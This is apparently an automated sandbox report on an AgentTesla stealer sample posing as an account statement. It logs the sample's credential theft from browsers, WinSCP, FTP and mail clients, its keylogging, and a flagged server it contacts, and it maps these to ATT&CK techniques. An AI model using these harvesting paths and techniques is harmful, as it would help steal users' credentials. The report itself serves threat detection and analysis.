Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594740	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594604	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594315	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594187	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594078	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593968	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593859	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593750	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593640	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593531	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593421	Jump to behavior

Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4484601208.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2240163674.00000000010E0000.00000004.00000020.00020000.00000000.sdmp, adobe.exe, 00000009.00000002.4484313383.0000000000D47000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process created: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe "C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"	Jump to behavior

Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q8<b>[ Program Manager]</b> (31/12/2024 12:01:23)<br>{Win}THbq
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q?<b>[ Program Manager]</b> (31/12/2024 12:01:23)<br>{Win}r{Win}rTHbq
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <html>Time: 01/15/2025 08:20:38<br>User Name: user<br>Computer Name: 724536<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz<br>RAM: 8191.25 MB<br>IP Address: 8.46.123.189<br><hr><b>[ Program Manager]</b> (31/12/2024 12:01:23)<br>{Win}r{Win}r</html>
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q><b>[ Program Manager]</b> (31/12/2024 12:01:23)<br>{Win}r{Win}THbq
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q9<b>[ Program Manager]</b> (31/12/2024 12:01:23)<br>{Win}rTHbq
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q3<b>[ Program Manager]</b> (31/12/2024 12:01:23)<br>

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Queries volume information: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Queries volume information: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe\adobe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe\adobe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe\adobe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe\adobe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.adobe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2241640405.0000000002CCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4487080897.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4487080897.000000000290C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4486848273.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4486848273.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2241640405.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Statement of Account - USD 16,720.00.exe PID: 4828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Statement of Account - USD 16,720.00.exe PID: 1288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adobe.exe PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adobe.exe PID: 6292, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.adobe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.4487080897.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4486848273.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2241640405.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Statement of Account - USD 16,720.00.exe PID: 4828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Statement of Account - USD 16,720.00.exe PID: 1288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adobe.exe PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adobe.exe PID: 6292, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.adobe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2241640405.0000000002CCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4487080897.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4487080897.000000000290C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4486848273.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4486848273.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2241640405.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Statement of Account - USD 16,720.00.exe PID: 4828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Statement of Account - USD 16,720.00.exe PID: 1288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adobe.exe PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adobe.exe PID: 6292, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	2 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Software Packing	NTDS	211 Security Software Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Statement of Account - USD 16,720.00.exe	34%	Virustotal		Browse
Statement of Account - USD 16,720.00.exe	50%	ReversingLabs	ByteCode-MSIL.Trojan.GenSteal
Statement of Account - USD 16,720.00.exe	100%	Avira	HEUR/AGEN.1306767
Statement of Account - USD 16,720.00.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Adobe\adobe.exe	100%	Avira	HEUR/AGEN.1306767
C:\Users\user\AppData\Roaming\Adobe\adobe.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Adobe\adobe.exe	50%	ReversingLabs	ByteCode-MSIL.Trojan.GenSteal

Source	Detection	Scanner	Label	Link
http://s4.serv00.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false		high
s4.serv00.com	213.189.52.181	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	Statement of Account - USD 16,720.00.exe, 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp, Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2241640405.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adobe.exe, 00000009.00000002.4487080897.000000000289C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	Statement of Account - USD 16,720.00.exe, 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2241640405.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000009.00000002.4487080897.000000000289C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2241640405.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000009.00000002.4487080897.000000000289C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://s4.serv00.com	Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2241640405.0000000002CCC000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000009.00000002.4487080897.000000000290C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false
213.189.52.181	s4.serv00.com	Poland		57367	ECO-ATMAN-PLECO-ATMAN-PL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582790
Start date and time:	2024-12-31 14:01:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Statement of Account - USD 16,720.00.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/2@2/2
